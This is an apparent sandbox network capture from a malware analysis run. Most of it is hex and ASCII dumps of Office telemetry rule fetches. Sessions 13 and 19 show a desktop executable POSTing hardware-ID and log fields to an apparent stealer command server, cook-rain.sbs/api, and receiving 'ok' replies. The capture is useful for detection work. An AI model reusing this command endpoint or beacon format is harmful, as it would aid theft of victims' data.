20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:24 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:24 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000224Z-178bfbc474bxkclvhC1NYC69g4000000027g000000000q0m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:24 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49722	104.21.66.38	443	7560	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:26 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HC5SZKLR8M85K User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12820 Host: cook-rain.sbs
2024-11-22 00:02:26 UTC	12820	OUT	Data Raw: 2d 2d 48 43 35 53 5a 4b 4c 52 38 4d 38 35 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 44 44 30 30 37 35 32 43 41 41 38 41 36 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 48 43 35 53 5a 4b 4c 52 38 4d 38 35 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 43 35 53 5a 4b 4c 52 38 4d 38 35 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 48 43 35 53 5a Data Ascii: --HC5SZKLR8M85KContent-Disposition: form-data; name="hwid"4BDD00752CAA8A67D7CBBD6DF28D3732--HC5SZKLR8M85KContent-Disposition: form-data; name="pid"2--HC5SZKLR8M85KContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--HC5SZ
2024-11-22 00:02:27 UTC	1012	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=20un2ini6scj71va28oe5j216d; expires=Mon, 17-Mar-2025 17:49:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=spUXbfnVLzCgw6LKjVkz5Hqljf722Zzi%2FxIg%2BOV4gMtqbPMXteQDjkToYGYIsqmiv%2FIufN%2BG36fzVqkMAl6PR7TjJzGJBVdRcKR%2FnczJ3roO11Fw8qyzbYcoTSWgKRP%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e64a6945af3c454-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1762&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13752&delivery_rate=1721698&cwnd=162&unsent_bytes=0&cid=1a44b4d877eb4ef1&ts=934&x=0"
2024-11-22 00:02:27 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-22 00:02:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:26 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000226Z-178bfbc474bfw4gbhC1NYCunf4000000023000000000wmqv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:26 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000227Z-178bfbc474bpscmfhC1NYCfc2c00000000w0000000000unw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:26 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: f440515e-401e-0029-2e38-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000227Z-178bfbc474bvjk8shC1NYC83ns0000000220000000007ty2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:26 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000227Z-178bfbc474bpscmfhC1NYCfc2c00000000w0000000000up1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:26 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000227Z-178bfbc474bnwsh4hC1NYC2ubs00000002bg000000001n5g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49728	104.21.66.38	443	7560	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:28 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=D907GD4XWRXU7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15052 Host: cook-rain.sbs
2024-11-22 00:02:28 UTC	15052	OUT	Data Raw: 2d 2d 44 39 30 37 47 44 34 58 57 52 58 55 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 44 44 30 30 37 35 32 43 41 41 38 41 36 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 44 39 30 37 47 44 34 58 57 52 58 55 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 39 30 37 47 44 34 58 57 52 58 55 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 44 39 30 37 47 Data Ascii: --D907GD4XWRXU7Content-Disposition: form-data; name="hwid"4BDD00752CAA8A67D7CBBD6DF28D3732--D907GD4XWRXU7Content-Disposition: form-data; name="pid"2--D907GD4XWRXU7Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--D907G
2024-11-22 00:02:29 UTC	1024	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aj6lne4kh3c23m1hcleksbrfkf; expires=Mon, 17-Mar-2025 17:49:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q5ASUT%2BdYfT91dWQo2pvCwtudZSzALgdHUAE%2FzsDgaaX44g%2FI%2FyxM%2BmkDQMCc5Gg49Cn%2FGBo7t1psUgmi5xQ3GBrfl5%2BvXIWep1h%2BiaBZ%2FFeUIWcNUJq6G%2FUZb%2FcFHqm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e64a6a29fdb6a55-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2057&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2829&recv_bytes=15984&delivery_rate=1401824&cwnd=235&unsent_bytes=0&cid=13d7f0bc2b45d509&ts=1035&x=0"
2024-11-22 00:02:29 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-22 00:02:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:28 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:29 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000229Z-178bfbc474b9fdhphC1NYCac0n0000000240000000009xrt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:29 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:29 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 9bf3f441-f01e-003f-246b-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000229Z-178bfbc474bv587zhC1NYCny5w00000001y000000000y9b0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:29 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:29 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8189730a-201e-0003-216a-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000229Z-178bfbc474bmqmgjhC1NYCy16c000000027000000000gsg0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
